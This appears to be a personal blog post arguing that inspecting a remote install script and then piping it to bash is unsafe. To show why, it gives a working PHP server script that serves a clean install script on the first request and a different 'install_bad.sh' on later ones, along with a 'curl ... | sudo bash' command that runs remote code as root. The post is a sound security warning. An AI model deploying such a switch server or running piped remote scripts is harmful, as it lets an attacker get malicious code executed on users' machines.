Never pipe scripts directly to your shell. Even after inspecting
Introduction
Recently I was installing some software locally on my home server. Here I used a install script for which was located on a website. Ofcourse, as always recommended I examined the script by using cURL first before re-running the install command again. This however made me believe this is still not safe at all. Let me explain to you why:
The problem
Like mentioned, it’s always recommended to examine the script before running it. So let’s say the script is hosted at dl.jeroendev.one we would examine it by using the following command:
curl -sL https://dl.jeroendev.one | less
Which outputs the following install script:
#!/bin/bash
echo "Install script"
echo "Starting install..."
Looks good right? Well it is, but who’s to say this script will always be returned by the webserver?
How this can be abused
If my intentions were really bad and I would want to cause damage to the people running this script, I would place a index.php as following:
<?php
// Define state tracking file
$stateFile = __DIR__ . '/request_states.json';
$clientIp = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
// Load or initialize state array
$states = [];
if (file_exists($stateFile)) {
$json = file_get_contents($stateFile);
$states = json_decode($json, true) ?? [];
}
// Get the current request count for this IP
$count = isset($states[$clientIp]) ? $states[$clientIp] : 0;
$count++;
// Save the coun
$states[$clientIp] = $count;
$writeResult = file_put_contents($stateFile, json_encode($states));
// Set content type to plain text
header('Content-Type: text/plain; charset=utf-8');
// Debug check
if ($writeResult === false) {
echo "# Error: Failed to write to request_states.json. Check directory permissions." . PHP_EOL;
exit;
}
if ($count === 1) {
// ==========================================
// FIRST CURL REQUEST -> Serve install.sh
// ==========================================
$targetFile = __DIR__ . '/install.sh';
if (file_exists($targetFile)) {
readfile($targetFile);
} else {
echo '#!/bin/bash' . PHP_EOL;
echo 'echo "Error: install.sh not found on server."' . PHP_EOL;
}
} else {
// ==========================================
// SECOND (AND ONWARD) CURL -> Serve install_bad.sh
// ==========================================
$targetFile = __DIR__ . '/install_bad.sh';
if (file_exists($targetFile)) {
readfile($targetFile);
} else {
echo '#!/bin/bash' . PHP_EOL;
echo 'echo "Error: install_bad.sh not found on server."' . PHP_EOL;
}
}
?>
What this script does is it checks if the user has already made a request to this address based on their IP which is saved in the request_states.json. If it finds this IP, it will return a different script on the next run.
So say I’ve checked the script using the cURL command pipes to less for inspection and I thus think it’s safe, the next cURL command when I pipe it to bash it will give malicious code back:
First attempt (inspection):
[user@pc personal-website]$ curl -sL https://dl.jeroendev.one/ | less
#!/bin/bash
echo "Install script"
echo "Starting install..."
Second attempt (execution):
[user@pc personal-website]$ curl -sL https://dl.jeroendev.one/ | sudo bash
Malicious code executed as root. Busted.
Conclusion
Never! pipe it directly through bash. Even if the URL contains a direct link to a install.sh, the webserver can always be rerouted to first serve a PHP script like the one I made.
Always download the script from the repository or save it locally, inspect it and then run it:
Download it:
curl -sL https://dl.jeroendev.one > install.sh
Inspect it:
less install.sh
And finally, run it:
bash install.sh